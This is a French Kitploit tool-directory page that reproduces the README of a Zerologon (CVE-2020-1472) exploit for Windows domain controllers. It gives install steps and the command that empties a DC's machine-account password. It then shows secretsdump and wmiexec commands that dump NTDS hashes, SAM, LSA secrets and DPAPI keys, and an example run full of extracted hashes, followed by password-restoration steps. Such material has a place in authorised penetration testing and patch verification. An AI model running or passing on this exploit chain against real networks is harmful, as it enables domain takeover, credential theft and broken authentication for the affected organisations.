Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-1472 — Code d'exploitation pour CVE-2020-1472 alias Zerologon | Kitploit
Outils/GitHubGitHub/voidsec/cve-2020-1472
Attaques de Mots de PasseAnalyse des VulnérabilitésExploitationTests d'Intrusion
GitHubvoidsec/cve-2020-1472

CVE-2020-1472

Code d'exploitation pour CVE-2020-1472 alias Zerologon

Voir le dépôt
396632il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

CVE-2020-1472

Code de vérification et d'exploitation pour CVE-2020-1472 alias Zerologon

Teste si un contrôleur de domaine est vulnérable à l'attaque Zerologon. Si vulnérable, il réinitialise le mot de passe du compte du contrôleur de domaine à une chaîne vide.

NOTE : Cela risque de casser des choses dans les environnements de production (ex. fonctionnalité DNS, communication avec les contrôleurs de domaine de réplication, etc.) ; les clients ciblés ne pourront alors plus s'authentifier auprès du domaine, et ils ne pourront être resynchronisés que par action manuelle. Si vous voulez en savoir plus sur comment l'attaque Zerologon casse les choses, grâce aux superbes travaux de @_dirkjan, vous pouvez le lire ICI

Recherche originale et livre blanc de Zerologon par Secura (Tom Tervoort) - https://www.secura.com/blog/zero-logon

asciicast

Exploit

Il tentera d'effectuer le contournement de l'authentification Netlogon. Lorsqu'un contrôleur de domaine est patché, le script de détection abandonnera après l'envoi de 2000 paires d'appels RPC, concluant que la cible n'est pas vulnérable (avec une chance de faux négatif de 0,04 %).

L'exploit ne réussira que si le contrôleur de domaine utilise le mot de passe stocké dans Active Directory pour valider la tentative de connexion, plutôt que celui stocké localement, car lorsque l'on change un mot de passe de cette manière, il n'est modifié que dans l'AD. Le système ciblé lui-même stockera toujours localement son mot de passe d'origine.

Installation

Nécessite Python 3.7 ou supérieur, virtualenv, pip et une version modifiée de la bibliothèque Impacket : nrpc.py (/impacket/dcerpc/v5) la dernière version d'impacket depuis GitHub avec les structures netlogon ajoutées.

1. Installer Impacket comme suit :

  1. git clone https://github.com/SecureAuthCorp/impacket
  2. cd impacket
  3. root@kitploit:~
    pwd 
    ~/impacket/
    
  4. virtualenv --python=python3 impacket
  5. source impacket/bin/activate
  6. pip install --upgrade pip
  7. pip install .

2. Installer le script d'exploit Zerologon comme suit :

  1. root@kitploit:~
    ~/impacket/
    
  2. cd examples
  3. git clone https://github.com/VoidSec/CVE-2020-1472
  4. cd CVE-2020-1472
  5. pip install -r requirements.txt

Exécution du script

Le script peut être utilisé pour cibler un contrôleur de domaine (DC) ou un DC de sauvegarde. Il fonctionnera probablement aussi contre un DC en lecture seule, mais cela n'a pas encore été testé. Le nom du DC doit être son nom d'ordinateur NetBIOS. Si ce nom n'est pas correct, le script échouera probablement avec une erreur STATUS_INVALID_COMPUTER_NAME. Étant donné un contrôleur de domaine nommé EXAMPLE-DC et une adresse IP 1.2.3.4, exécutez le script comme suit :

  • ./cve-2020-1472-exploit.py -n EXAMPLE-DC -t 1.2.3.4

L'exécution du script devrait entraîner la réinitialisation du mot de passe du compte du contrôleur de domaine à une chaîne vide.

À ce stade, vous devriez pouvoir exécuter secretsdump.py -no-pass -just-dc Domain/'DC_NETBIOS_NAME$'@DC_IP_ADDR d'Impacket (vous pouvez également utiliser le hash vide : -hashes :31d6cfe0d16ae931b73c59d7e0c089c0) qui extraira uniquement les données NTDS.DIT (hachages NTLM et clés Kerberos).

Ce qui devrait vous donner les droits d'administrateur du domaine. WIN WIN WIN

Exemple d'exécution

root@kitploit:~
> cve-2020-1472-exploit.py -n WIN-U4Q9LLP6L2A -t 192.168.209.129
[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.

> secretsdump.py -no-pass -just-dc ad.test.com/WIN-U4Q9LLP6L2A\[email protected]
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

Restore:
> wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/[email protected]
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save

> secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
[*] Target system bootKey: 0x31f99ee2e750274d1fee930ab88fe126
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:9b5ccb9700e3ed723df08132357ff6a1
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xaf83406b2611f18ac99329079e9f47d9409e885f
dpapi_userkey:0x53ed555f11c110f918fc9a97a6c3576266930fb7
[*] NL$KM 
 0000   55 A7 DF DF 27 E2 64 C1  F7 42 F2 1B 96 76 01 4F   U...'.d..B...v.O
 0010   24 4C 5D 9B 20 E3 EA 95  DD E9 61 0F 00 8E B2 51   $L]. .....a....Q
 0020   B1 79 3F E0 37 3E CB B2  95 31 A6 74 F3 35 54 8A   .y?.7>...1.t.5T.
 0030   C1 B6 70 3D B3 AB AC C1  7E 8E 90 7A 7B 49 32 46   ..p=....~..z{I2F
NL$KM:55a7dfdf27e264c1f742f21b9676014f244c5d9b20e3ea95dde9610f008eb251b1793fe0373ecbb29531a674f335548ac1b6703db3abacc17e8e907a7b493246
[*] Cleaning up... 

> reinstall_original_pw.py WIN-U4Q9LLP6L2A 192.168.209.129 ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020

Restauration du mot de passe

La réinstallation du hash de mot de passe d'origine est nécessaire pour que le DC continue à fonctionner normalement.

Après avoir obtenu les droits d'administrateur du domaine, vous pouvez utiliser wmiexec.py sur le DC cible avec des identifiants obtenus depuis secretsdump et effectuer les étapes suivantes :

root@kitploit:~
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save

Exécutez : secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

Et cela devrait vous montrer le hash NT d'origine du compte machine. Vous pouvez alors réinstaller ce hash de compte machine d'origine dans le domaine en utilisant le script reinstall_original_pw.py fourni ici. Parfois, plusieurs exécutions sont nécessaires avant de réussir.

root@kitploit:~
reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH

Vous pouvez également utiliser le processus de restauration suivant

Télécharger l’outil